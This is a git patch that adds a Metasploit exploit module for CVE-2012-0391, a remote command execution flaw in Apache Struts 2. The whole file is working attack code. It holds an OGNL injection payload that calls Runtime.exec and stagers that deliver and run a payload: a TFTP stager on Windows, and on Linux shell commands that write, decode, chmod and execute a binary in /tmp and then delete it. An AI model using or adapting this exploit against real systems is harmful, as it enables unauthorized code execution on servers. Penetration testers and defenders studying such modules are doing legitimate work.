From efe4136e5b80e9c47f3d95d0e6c35f8e18bfe46b Mon Sep 17 00:00:00 2001
From: jvazquez-r7 <juan.vazquez@metasploit.com>
Date: Sun, 3 Jun 2012 22:08:31 +0200
Subject: [PATCH] Added module for CVE-2012-0391

---
 .../struts_code_exec_exception_delegator.rb   | 154 ++++++++++++++++++
 1 file changed, 154 insertions(+)
 create mode 100644 modules/exploits/multi/http/struts_code_exec_exception_delegator.rb

diff --git a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb
new file mode 100644
index 0000000000..c7f2d6ab5a
--- /dev/null
+++ b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb
@@ -0,0 +1,154 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::CmdStagerTFTP
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Apache Struts <= 2.2.1.1 Remote Command Execution',
+			'Description'    => %q{
+					This module exploits a remote command execution vulnerability in
+				Apache Struts versions < 2.2.1.1. This issue is caused because the
+				ExceptionDelegator interprets parameter values as OGNL expressions
+				during certain exception handling for mismatched data types of properties,
+				which allows remote attackers to execute arbitrary Java code via a
+				crafted parameter.
+			},
+			'Author'         =>
+				[
+					'Johannes Dahse', # Vulnerability discovery and PoC
+					'Andreas Nusser', # Vulnerability discovery and PoC
+					'juan vazquez', # Metasploit module
+					'sinn3r' # Metasploit module
+				],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision: $',
+			'References'     =>
+				[
+					[ 'CVE', '2012-0391'],
+					[ 'OSVDB', '78277'],
+					[ 'EDB', '18329'],
+					[ 'URL', 'https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt']
+				],
+			'Platform'      => [ 'win', 'linux'],
+			'Privileged'     => true,
+			'Targets'        =>
+				[
+					['Windows Universal',
+						{
+								'Arch' => ARCH_X86,
+								'Platform' => 'win'
+						}
+					],
+					['Linux Universal',
+						{
+								'Arch' => ARCH_X86,
+								'Platform' => 'linux'
+						}
+					],
+				],
+			'DisclosureDate' => 'Jan 06 2012',
+			'DefaultTarget' => 0))
+
+			register_options(
+				[
+					Opt::RPORT(8080),
+					OptString.new('URI', [ true, 'The path to a struts application action and parameter to inject ie. /HelloWorldStruts2/hello?name=test&id=INJECT', ""]),
+					OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
+				], self.class)
+	end
+
+	def execute_command(cmd, opts = {})
+
+		vprint_status("cmd: #{cmd}")
+		vprint_status(datastore['URI'])
+		uri = String.new(datastore['URI'])
+		uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\"))%2b'") if target['Platform'] == 'win'
+		uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\".split(\"@\")))%2b'") if target['Platform'] == 'linux'
+		uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))
+
+		vprint_status("Attempting to execute: #{cmd}")
+		vprint_status("uri: #{uri}")
+
+		resp = send_request_raw({
+			'uri'     => uri,
+			'version' => '1.1',
+			'method'  => 'GET',
+		}, 5)
+
+	end
+
+	def windows_stager
+		exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
+
+		print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
+		execute_cmdstager({ :temp => '.'})
+		@payload_exe = payload_exe
+
+		print_status("Attempting to execute the payload...")
+		execute_command(@payload_exe)
+	end
+
+	def linux_stager
+		cmds = "/bin/sh@-c@echo LINE | tee FILE"
+		exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
+		base64 = Rex::Text.encode_base64(exe)
+		base64.gsub!(/\=/, "\\u003d")
+		file = rand_text_alphanumeric(4+rand(4))
+
+		execute_command("/bin/sh@-c@touch /tmp/#{file}.b64")
+		cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
+		base64.each_line do |line|
+			line.chomp!
+			cmd = cmds
+			cmd.gsub!(/LINE/, line)
+			execute_command(cmds)
+		end
+
+		execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
+		execute_command("/bin/sh@-c@chmod +x /tmp/#{file}")
+		execute_command("/bin/sh@-c@rm /tmp/#{file}.b64")
+
+		execute_command("/bin/sh@-c@/tmp/#{file}")
+		@payload_exe = "/tmp/" + file
+	end
+
+	def on_new_session(client)
+		if target['Platform'] == 'linux'
+			print_status("Deleting #{@payload_exe} payload file")
+			execute_command("/bin/sh@-c@rm #{@payload_exe}")
+		else
+			print_status("Windows does not allow running executables to be deleted")
+			print_status("Delete the #{@payload_exe} file manually after migrating")
+		end
+	end
+
+	def exploit
+		if not datastore['CMD'].empty?
+			print_status("Executing user supplied command")
+			execute_command(datastore['CMD'])
+			return
+		end
+
+		case target['Platform']
+			when 'linux'
+				linux_stager
+			when 'win'
+				windows_stager
+			else
+				raise RuntimeError, 'Unsupported target platform!'
+		end
+
+		handler
+	end
+end